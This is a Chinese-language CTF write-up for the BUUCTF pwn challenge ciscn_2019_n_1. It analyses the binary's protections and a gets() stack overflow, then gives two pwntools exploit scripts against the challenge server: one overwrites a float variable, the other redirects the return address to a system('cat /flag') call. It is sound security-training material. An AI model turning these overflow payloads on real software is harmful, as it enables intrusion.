pwn刷题num21----栈溢出

BUUCTF-PWN-ciscn_2019_n_1

pwn刷题num21----栈溢出_第1张图片
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行

pwn刷题num21----栈溢出_第2张图片

64位程序,小端序
开启部分RELRO-----got表可写
未开启canary保护-----可能存在栈溢出
开启NX保护-----堆栈不可执行
未开启PIE-----程序地址为真实地址
动态链接

pwn刷题num21----栈溢出_第3张图片
运行后发现让我们猜数字,随便写一个(这里写的是12),之后告诉我们Its value should be 11.28125,我们再次运行程序输入11.28125,还是不对,ida一下
主函数
pwn刷题num21----栈溢出_第4张图片
关于setvbuf函数(定义文件流如何缓冲的)可以看一下菜鸟教程,
这里引用一下菜鸟教程的setvbuf函数
菜鸟教程setvbuf
函数声明:

int setvbuf(FILE *stream, char *buffer, int mode, size_t size)
stream -- 这是指向 FILE 对象的指针,该 FILE 对象标识了一个打开的流。
buffer -- 这是分配给用户的缓冲。如果设置为 NULL,该函数会自动分配一个指定大小的缓冲。
mode -- 这指定了文件缓冲的模式:
	_IOFBF	全缓冲:对于输出,数据在缓冲填满时被一次性写入。对于输入,缓冲会在请求输入且缓冲为空时被填充。
	_IOLBF	行缓冲:对于输出,数据在遇到换行符或者在缓冲填满时被写入,具体视情况而定。对于输入,缓冲会在请求输入且缓冲为空时被填充,直到遇到下一个换行符。
	_IONBF	无缓冲:不使用缓冲。每个 I/O 操作都被即时写入。buffer 和 size 参数被忽略。
size --这是缓冲的大小,以字节为单位。

返回值

如果成功,则该函数返回 0,否则返回非零值。

看一下func()函数
pwn刷题num21----栈溢出_第5张图片
这里需要使v2的值为11.28125
而一开始定义的v2是0.0
看到上面有个gets(&v1)函数,未限制v1的输入大小,看一下栈区
pwn刷题num21----栈溢出_第6张图片
这里的var_30就是要输入的字符串v1,var_4就是v2

思路

我们可以通过gets函数覆盖var_4的值为11.28125,这里就要知道11.28125对应的16进制码是什么了。
在线进制转换
pwn刷题num21----栈溢出_第7张图片
11.28125对应的16进制码是0x41348000
exp

from pwn import *
context(endian='little',os='linux',arch='amd64',log_level='debug') 
p = remote("node4.buuoj.cn",26012)
payload = b'a' * (0x30 - 0x4) + p64(0x41348000)
p.sendline(payload)
p.interactive()

pwn刷题num21----栈溢出_第8张图片

直接覆盖返回地址为 system(“cat /flag”)地址(0x4006BE),跳过if的判断条件,直接获得flag
pwn刷题num21----栈溢出_第9张图片
exp

from pwn import *
context(endian='little',os='linux',arch='amd64',log_level='debug') 
p = remote("node4.buuoj.cn",26012)
cat_flag = 0x4006BE
payload = b'a'*(0x30 + 0x8) + p64(cat_flag)
p.sendline(payload)
p.interactive()

运行获得flag
pwn刷题num21----栈溢出_第10张图片

你可能感兴趣的:(BUUCTF,pwn,CTF,系统安全,c语言,python,网络安全,安全)